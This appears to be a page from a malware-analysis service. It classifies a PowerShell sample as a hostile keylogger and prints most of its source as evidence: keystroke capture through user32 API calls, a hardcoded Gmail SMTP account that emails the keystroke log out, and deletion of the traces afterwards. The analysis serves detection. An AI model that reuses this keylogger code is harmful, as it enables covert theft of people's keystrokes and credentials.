Hostile 92% Download

07d91c722595ca661919fef8f8c036084c91e4128bc55a53373ab3fc5cd2f799.unknown

Keylogger exfiltrates via email

Detects PowerShell PoshKeyloggerHelper for env var fingerprinting
SHA-25607d91c722595ca661919fef8f8c036084c91e4128bc55a53373ab3fc5cd2f799

Evidence

Gmail consumer email domain suffix lines 1–28
1$TimesToRun = 2
2$RunTimeP = 1
3$From = "[email protected]"
4$Pass = "Weare138"
6$Subject = "$($env:COMPUTERNAME) / $($env:USERNAME)"
7$body = "Keylogger Results"
8$SMTPServer = "smtp.gmail.com"
9$SMTPPort = "587"
10$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
11############################
12
13
14$TimeStart = Get-Date
15$TimeEnd = $timeStart.addminutes($RunTimeP)
16
17#requires -Version 2
18function Start-KeyLogger($Path="$env:temp\keylogger.txt")
19{
20 # Signatures for API Calls
21 $signatures = @'
22[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
23public static extern short GetAsyncKeyState(int virtualKeyCode);
24[DllImport("user32.dll", CharSet=CharSet.Auto)]
25public static extern int GetKeyboardState(byte[] keystate);
26[DllImport("user32.dll", CharSet=CharSet.Auto)]
27public static extern int MapVirtualKey(uint uCode, int uMapType);
28[DllImp …
PowerShell compiles inline .NET member code lines 29–36
29:128… hBuff, uint wFlags);
30'@
31
32 # load signatures and make members available
33 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
34
35 # create output file
36 $null = New-Item -Path $Path -ItemType File …
PowerShell Remove-Item with -Force lines 41–88
41:46… CTRL+C, finally-block
42 # executes and shows the collected key presses
43 $Runner = 0
44 while ($TimesToRun -ge $Runner) {
45 while ($TimeEnd -ge $TimeNow) {
46 Start-Sleep -Milliseconds 40
47
48 # scan all ASCII codes above 8
49 for ($ascii = 9; $ascii -le 254; $ascii++) {
50 # get current key state
51 $state = $API::GetAsyncKeyState($ascii)
52
53 # is key pressed?
54 if ($state -eq -32767) {
55 $null = [console]::CapsLock
56
57 # translate scan code to real code
58 $virtualKey = $API::MapVirtualKey($ascii, 3)
59
60 # get keyboard state for virtual keys
61 $kbstate = New-Object Byte[] 256
62 $checkkbstate = $API::GetKeyboardState($kbstate)
63
64 # prepare a StringBuilder to receive input key
⋯6 lines
71 {
72 # add key to logger file
73 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
74 }
75 }
76 }
77 $TimeNow = Get-Date
78 }
79 send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
80 Remove-Item -Path $Path -force
81 Remove-Item -Path C:\Windows\Temp\KL.ps1
82 }
83 }
⋯5 lines
English function-word token "with" lines 91–93
91:49… d by pressing CTRL+C
92# will then open the file with collected key codes
93Start-KeyLogger

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.